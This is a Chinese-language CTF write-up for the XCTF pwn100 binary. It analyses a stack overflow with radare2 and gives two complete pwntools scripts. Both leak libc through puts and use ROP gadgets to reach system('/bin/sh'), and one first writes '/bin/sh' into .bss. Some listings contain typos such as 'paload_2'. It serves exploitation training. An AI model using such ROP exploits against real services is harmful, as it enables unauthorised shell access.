XCTF-pwn-pwn100 writeup

原创

Morphy_Amo 于 2021-12-13 21:40:37 发布 1243 收藏

分类专栏： pwn题 文章标签： 安全 web安全

XCTF-pwn-pwn100

1. 查看安全策略，开了NX保护

```
root@kali:~/ctf/xctf/pwn# checksec 003_pwn_100
[*] '/root/ctf/xctf/pwn/003_pwn_100'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

查看可用的字符串和函数

```
[0x00400550]> iz
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x00000784 0x00400784   4   5 (.rodata) ascii bye~

[0x00400550]> afl
0x00400550    1 42           entry0
0x00400530    1 6            sym.imp.__libc_start_main
0x00400500    1 6            sym.imp.puts
0x00400510    1 6            sym.imp.setbuf
0x00400520    1 6            sym.imp.read
0x004006b8    1 72           main
0x0040068e    1 42           fcn.0040068e
0x0040063d    4 81           fcn.0040063d
0x00400610    8 141  -> 99    entry.init0
0x004005f0    3 28           entry.fini0
0x00400580    4 41           fcn.00400580
0x00400540    1 6            loc.imp.__gmon_start
0x004004c8    3 26           fcn.004004c8
```

没有可以利用的字符串，也没有可以直接利用的system函数

1. `puts`：可以用来泄露libc基址
2. `read`：分配的内存大小小于读入上限的话会造成栈溢出

2. `read`：分配的内存大小小于读入上限的话会造成栈溢出

寻找溢出点

在函数`fcn.0040063d`中有个危险函数`read`，但是可以看到这里一次只读一个字符，不存在溢出。

```
|      :|   0x0040066e      ba01000000      mov edx, 1
|      :|   0x00400673      4889c6          mov rsi, rax
|      :|   0x00400676      bf00000000      mov edi, 0
|      :|   0x0040067b      e8a0feffff      call sym.imp.read
```

但是继续分析发现read是在一个循环中，如下所示：

```
|       ,=< 0x0040065f      eb23            jmp 0x400684
|       |   ; CODE XREF from fcn.0040063d @ 0x40068a
|      .--> 0x00400661      8b45fc          mov eax, dword [var_4h]
|      :|   0x00400664      4863d0          movsxd rdx, eax
|      :|   0x00400667      488b45e8        mov rax, qword [var_18h]
|      :|   0x0040066b      4801d0          add rax, rdx
|      :|   0x0040066e      ba01000000      mov edx, 1
|      :|   0x00400673      4889c6          mov rsi, rax
|      :|   0x00400676      bf00000000      mov edi, 0
|      :|   0x0040067b      e8a0feffff      call sym.imp.read
|      :|   0x00400680      8345fc01        add dword [var_4h], 1
|      :|   ; CODE XREF from fcn.0040063d @ 0x40065f
|      :`-> 0x00400684      8b45fc          mov eax, dword [var_4h]
|      :    0x00400687      3b45e4          cmp eax, dword [var_1ch]
|      `==< 0x0040068a      7cd5            jl 0x400661
```

而`Var_1ch`的值是函数的参数，传入的是200，也就是一次读入一个字符,然后循环200次后才会跳出。而存储的内存空间也是从上一层传入的参数，共0x40大小，因此这里存在溢出。

Payload

根据前面的分析这里没有能直接利用的system函数和`/bin/sh`字符串。因此尝试利用puts泄露libc的方式获取system和`/bin/sh`字符。

本题有puts，因此利用puts来泄露地址。puts需要传入一个参数，因此我们需要gadget来给`rdi`赋值，这里利用radare2的`/R`命令搜索gadget

```
[0x0040063d]> /R pop rdi
  0x00400763                 5f  pop rdi
  0x00400764                 c3  ret
```

于是构造泄露libc基址的payload如下

```
payload_1 = b'a' * (0x40 + 0x8)
payload_1 += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload_1 += p64(main) # 获取基址后返回main再次
payload_1 = payload_1.ljust(200, b'a') # 补全到200个字符跳出循环
```

获取libc地址后利用LibcSearcher获取system和/bin/sh，并再次利用溢出点获取shell

```
from LibcSearcher import *
...
libc = LibcSearcher('puts', puts_addr)

system = libc + libc.dump('system')
binsh = libc + libc.dump('str_bin_sh')

payload_2 = b'a' * (0x40 + 0x8)
```

```
payload_2 = b'a' * (0x40 + 0x8)
payload_2 += p64(pop_rdi) + p64(binsh) + p64(system)
payload_2 = paload_2.ljust(200, b'a')
```

解法2 - 将/bin/sh写入bss段

> **问题 - 为什么是bss段而不是其他段？**
>
> 首先 `.bss` 段是可读写的，这是选择bss段的基础。其次bss段中的实际上是没有内容的，修改其中的内容，并不会导致程序崩溃。

利用radare或gdb查看bss地址

```
[0x0040063d]> iS
[Sections]
Nm Paddr       Size Vaddr      Memsz Perms Name
00 0x00000000     0 0x00000000     0 ----
...
25 0x00001050     0 0x00601050    24 -rw- .bss
...
```

要把 `/bin/sh` 写入到bss中需要用到程序中自带的函数 `fcn.0040063d` , `fcn.0040063d()` 有三个参数，第一个参数是读取内容的存储地址，第二个参数是读取的长度.

这里没有 `pop psi; ret` 这样的gadget，但是有 `pop psi; pop r15; ret` 这个gadget，用这个也一样，只不过要给 `r15` 随便赋一个值。

```
payload_2 = b'a' * (0x40 +0x8)
payload_2 += p64(pop_rdi) +  p64(bss_binsh)
payload_2 += p64(pop_rsi_r15) + p64(7) + p64(0)
payload_2 += p64(0x0040063d) + p64(main)
payload_2 = payload_2.ljust(200, b'a')
```

后面获取shell的payload和解法1类似，这里不再赘述

exp

解法1

```
from pwn import *
from LibcSearcher import *

conn = remote('', )

elf = ELF('./pwn100')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x00400763
main = 0x004006b8

payload_1 = b'a' * (0x40 + 0x8)
payload_1 += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload_1 += p64(main) # 获取基址后返回main
payload_1 = payload_1.ljust(200, b'a')

conn.send(payload_1)
conn.recvuntil(b'bye~\n')
puts_addr = u64(conn.recv(8).split(b'\n')[0].ljust(8, b'\x00'))
```

```
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

payload_2 = b'a' * (0x40 + 0x8)
payload_2 += p64(pop_rdi) + p64(binsh) + p64(system)
payload_2 = paload_2.ljust(200, b'a')

conn.sendline(payload_2)
conn.interactive()
```

解法**2**

```
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

conn = remote('', )

elf = ELF('./pwn100')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x00400763
pop_rsi_r15 = 0x00400761
main = 0x004006b8
# 获取libc
payload_1 = b'a' * (0x40 + 0x8)
payload_1 += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload_1 += p64(main) # 获取基址后返回main
payload_1 = payload_1.ljust(200, b'a')

conn.send(payload_1)
conn.recvuntil(b'bye~\n')
puts_addr = u64(conn.recv(8).split(b'\n')[0].ljust(8, b'\x00'))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')

# 写入/bin/sh到bss段
bss_binsh = 0x00601060
payload_2 = b'a' * (0x40 +0x8)
payload_2 += p64(pop_rdi) +  p64(bss_binsh)
payload_2 += p64(pop_rsi_r15) + p64(7) + p64(0)
payload_2 += p64(0x0040063d) + p64(main)
payload_2 = payload_2.ljust(200, b'a')
conn.send(payload_2)
conn.send(b'/bin/sh')
conn.recvuntil(b'bye~\n')

# 获取shell
payload_3 = b'a' * (0x40 + 0x8)
payload_3 += p64(pop_rdi) + p64(bss_binsh) + p64(system)
payload_3 = payload_3.ljust(200, b'a')

conn.send(payload_3)
conn.interactive()
```

问题 - 为什么bss段中有些地址可以写入，有些地址不可以呢？

比如0x00601060可以成功获取shell，但是0x00601050就不可以